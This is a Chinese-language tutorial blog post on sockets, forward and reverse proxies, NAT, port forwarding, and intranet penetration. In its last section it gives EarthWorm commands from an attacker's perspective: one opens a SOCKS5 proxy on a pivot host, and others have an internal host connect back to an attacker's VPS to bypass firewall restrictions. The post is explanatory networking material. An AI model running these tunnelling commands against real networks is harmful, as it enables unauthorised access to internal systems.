如何从零构建对内网穿透的理解

本文详细介绍了网络通信的基础,包括Socket通信、正向代理与反向代理的概念及其区别,以及地址转换与端口映射的类型。此外,还探讨了端口转发与端口映射的差异,并阐述了内网穿透的实现方式,特别是通过EarthWorm工具进行内网穿透的两种方法。
摘要由CSDN通过智能技术生成

0x01 Socket 通信

大家都知道,两台计算机间是通过“IP地址”相互通信的,但这样说其实毫无意义。现实中,两台计算机间的通信,其实是两台计算机中应用程序(进程)与应用程序(进程)间的通信。但“IP地址”仅能定位到计算机,如何定位到应用程序(进程)呢?答案是“协议+端口”。

在这里插入图片描述

网络层的“IP地址”可以唯一标识网络中的主机,而传输层的“协议+端口”可以唯一标识主机中的应用程序(进程)。这样利用三元组(IP地址,协议,端口)就可以标识网络的进程了,从而实现网络中进程间的通信与交互。

在这里插入图片描述

TCP 是面向连接的传输层协议。这就是说,应用程序在使用 TCP 协议之前,必须先建立 TCP 连接。在传送数据完毕后,必须释放已经建立的 TCP 连接。也就是说,应用程序之前的通信好像在“打电话”:通话前要先拨号建立连接,通话结束后要挂机释放连接。
在这里插入图片描述
Socket 是应用层与 TCP/IP 协议族通信的中间软件抽象层,它是一组接口。在设计模式中,Socket 其实就是一个门面模式,它把复杂的 TCP/IP 协议族隐藏在 Socket 接口后。对用户来说,一组简单的接口就是全部,让 Socket 去组织数据,以符合指定的协议。 在这里插入图片描述
Socket 起源于 Unix,而 Unix/Linux 的基本哲学之一就是“一切皆文件”,即Unix/Linux 中所有内容都以文件的形式保存和管理,都可以使用“打开open –> 读写write/read –> 关闭close”的模式来操作。

Unix/Linux 中普通文件是文件,目录(Windows 下称为文件夹)是文件,硬件设备(键盘、监视器、硬盘、打印机)是文件,就连套接字(Socket)也是文件。

在我的理解中,Socket 就是一个类,封装了许多功能函数,当需要建立连接进行通信时,它会先进行初始化,然后通过内置的功能函数建立连接并完成通信(打开、读/写IO、关闭),其中就包含了TCP的三次握手。
在这里插入图片描述

0x02 正向代理与反向代理

代理就相当于是中介。正常来说客户端将请求发送给服务器端,服务器端收到请求后将响应结果返回给客户端。设置代理后,请求和响应都将经过代理到达彼此。当客户端发送请求时,代理对其进行拦截,再由代理将其发送给服务器端。服务器端收到请求后,代理再对响应结果进行拦截,再由代理返回给客户端。

正向代理和反向代理本质上并无区别,如上述所示。其根本区别在于正向代理对客户端是透明的,即客户端设置的。而反向代理对服务器端是透明的,即服务器端设置的。比如我们使用抓包工具进行抓包,我们清楚的知道自己设置了代理,如 Burpsuite 的8080端口,这就是正向代理。而当我们访问一个网页时,我们不知道它是否设置了代理,而服务器端清楚的知道自己是否设置了代理,如果设置了那就是反向代理。

正向代理可以隐藏用户的信息,并能够将其作为跳板访问我们无法访问的资源,如翻墙。反向代理可以隐藏服务器的信息,保障了内网的安全,同时能够用来实现负载均衡。
在这里插入图片描述
总的来说,正向代理即客户端代理,代理客户端,服务端不知道实际发起请求的客户端。反向代理即服务端代理,代理服务端,客户端不知道实际提供服务的服务端。

0x03 地址转换与端口映射

一、静态NAT

路由器上手动配置,一个内网地址和一个公网地址相关联,一一对应。

在这里插入图片描述
二、动态NAT

路由器上配置一个公网IP地址池,当内网地址访问外网时从地址池里获取公网IP进行映射。当公网IP地址池分配完时,只能等待被占用的公网IP被释放后,其他主机才能获取公网IP访问公网。这种将源地址进行转换的方式也可称之为 SNAT(源地址转换)。

在这里插入图片描述

三、NAPT 网络地址端口转换

允许多个内网地址映射到同一个公网IP的不同端口。这种将源地址和端口进行转换的方式也可称之为 SNAPT(源地址端口转换)。

在这里插入图片描述
外网访问内网服务器提供的服务时,直接访问出口防火墙提供的公网IP和端口,防火墙将请求根据端口映射转发到对应的内网服务器。这种将目的地址和端口进行转换的方式也可称之为 DNAPT(目的地址端口转换)。

在这里插入图片描述

所谓内网端口映射口就是将内网中主机的一个端口映射到外网主机的一个端口,提供相应的服务。当用户访问外网IP的这个端口时,服务器自动将请求映射到对应局域网内部的机器上。

这就好像是我们在内网中有一台Web服务器,但是外网中的用户是没有办法直接访问该服务器。因此我们可以在路由器上设置一个端口映射,只要外网用户访问路由器IP的80端口,那么路由器就会自动把流量转到内网Web服务器的80端口上。而且在路由器上还存在一个Session,当内网服务器返回数据给路由器时,路由器可以准确的把消息发送给外网请求用户的主机。在这期间,路由器充当了一个反向代理的作用,保护了内网中主机的安全。

0x04 端口转发与端口映射

在 IPv6 尚未普及,IPv4 消耗殆尽的情形下,不可能为每一台接入互联网的计算机都分配一个静态的公网IP,甚至连IP地址池都显得十分奢侈,因此大多数路由器使用的都是 SNAPT 技术。

端口转发(Port forwarding),有时被叫做隧道,是安全壳(SSH)为网络安全通信使用的一种方法。

比如,我们现在在内网中,是没有办法直接访问外网的。但是我们可以通过路由器的NAT方式访问外网。假如我们内网现在有100台主机,那么我们现在都是通过路由器的这一个公网IP和外网通信的。那么,当互联网上的消息发送回来时,路由器是怎么知道这个消息是给他的,而另外消息是给你的呢?这就要我们的IP地址和路由器的端口进行绑定了,这时,在路由器中就会有一个内网IP和路由器端口对应的一张表。当路由器的10000端口收到消息时,就知道把消息发送给他,而当20000端口收到消息时,就知道把消息发送给你。这就是端口转发,其转发一个端口收到的流量,给另一个主机。

在我的理解中,端口转发可以作为端口映射的功能实现,但端口转发又不局限于端口映射。当外网主机访问内网服务时,正是通过端口映射后的端口转发实现的。当内网主机使用 SNAPT 技术访问公网服务时,也是通过端口映射后的端口转发实现的对于同一公网IP不同主机的响应区分。

端口映射与端口转发用于发布防火墙内部的服务器或者防火墙内部的客户端计算机,有的路由器也有端口映射与端口转发功能。端口映射与端口转发实现的功能类似,但又不完全一样。端口映射是将外网的一个端口完全映射给内网一个地址的指定端口,而端口转发是将发往外网的一个端口的通信完全转发给内网一个地址的指定端口。端口映射可以实现外网到内网和内网到外网通信双向,而映射转发只能实现外网到内网的单向通信。

以上是百度百科对于端口映射与端口转发的区分,其实解释的也很模糊,很容易让人产生误解。其中“端口映射可以实现外网到内网和内网到外网通信双向”,指的是 SNAPT+DNAPT 的双向映射;“而映射转发只能实现外网到内网的单向通信”,指的是仅 DNAPT 的单向映射。但无论是前者还是后者,不都是通过端口转发实现其功能的吗?

0x05 内网穿透

当想要访问内部网络但又没有权限去操作防火墙做端口映射的情况下,内网穿透便横空出世。下面我们将通过一款被称为ew的内网穿透工具来学习内网穿透的相关知识。

EarthWorm是一套轻量便携且功能强大的网络穿透工具,基于标准C开发,具有socks5代理、端口转发和端口映射三大功能。相较于其他穿透工具,如reGeorg等,EarthWorm可以穿透更复杂的内网环境同时也不需要跳板机运行web服务,也可以支持多平台间的转接通讯,如Linux、Windows、MacOS、Arm-Linux等。

根据官方文档说明,EarthWorm能够以“正向连接”、“反向连接”、“多级级联”等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。

一、正向SOCKS v5服务器

当攻击者位于外网时,无法直接访问到目标网络内部的主机,但是可以访问到目标网络中对外提供服务的服务器(存在公网IP),而恰巧这台机器也拥有内网IP地址,可以访问其他内网机器。

在这里插入图片描述

因此攻击者可以在跳板机上运行EarthWorm,执行以下命令,在1080端口上开启socks正向代理,在自己的攻击机上开启全局代理,代理到跳板机的1080端口,至此跳板机就可以将攻击者本地操作的流量转发到内网当中,从而访问到原先无法访问的内网机器,实现内网穿透:

./ew -s ssocksd-l 1080

这里跳板机就相当于正向代理。因为对于攻击者来说它是可知的,而对于内网机来说,它们并不知道它们返回给跳板机的响应又被发送给了攻击者。

二、反弹SOCKS v5服务器

目标机器没有公网IP,但可访问内网资源。

在这里插入图片描述

因此攻击者可以在内网跳板机上运行EarthWorm使其反弹到某台公网服务器上,然后攻击者再通过外网连接到对外服务器进而进入到内网中。首先在一公网VPS上执行以下命令,添加一个转接隧道,把1080端口收到的代理请求转交给8888端口(开启1080端口和8888端口的监听):

./ew-s rcsocks -l 1080 -e 8888

然后在内网跳板机上执行以下命令,启动SOCKS v5服务,并反弹到公网VPS的8888端口,

./ew-s rssocks -d xxx.xxx.xxx.xxx -e 8888

这里公网服务器既是正向代理也是反向代理。对于攻击者来说它是可知的,因为我们要通过它访问我们无法访问的资源,对于内网服务器(跳板机)来说它也是可知的,因为我们是在内网服务器(跳板机)上执行的反弹命令,使其反向连接到公网服务器上。而内网服务器(跳板机)在这里充当的仅是公网服务器的正向代理,因为它对于公网服务器来说是可知的,而对于其他内网机来说则是不可知的。

但是这里大家要注意参考系的问题,正向代理和反向代理都是相对的。在攻击者——公网服务器——内网服务器这一环,内网服务器怎么可能会是代理呢?但在公网服务器——内网服务器——内网机这一环,内网服务器毋庸置疑是代理。

当攻击者可以访问内网服务器(跳板机)时,既可以直接使用前面介绍的正向连接,也可以使用这里介绍的反弹连接,此时在公网服务器上执行的命令直接在本地执行即可。此时内网服务器(跳板机)如正向连接图所示直接与攻击者交互,跳板机充当正向代理的角色。既然该情形下与正向连接结果一致,那为什么正向连接仅使用了一条命令,而反弹连接使用了两条命令呢?这可能就是前面所提到的,前者是双向映射,一条命令即可双向奔赴。而后者是单向映射,需要两条命令使他们双向奔赴。

0x06 Reference

Socket通信原理

反向代理和正向代理区别

地址转换和端口映射及内网穿透的区别

美创科技安全实验室课堂——利用EarthWorm实现内网穿透

  • 6
    点赞
  • 123
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值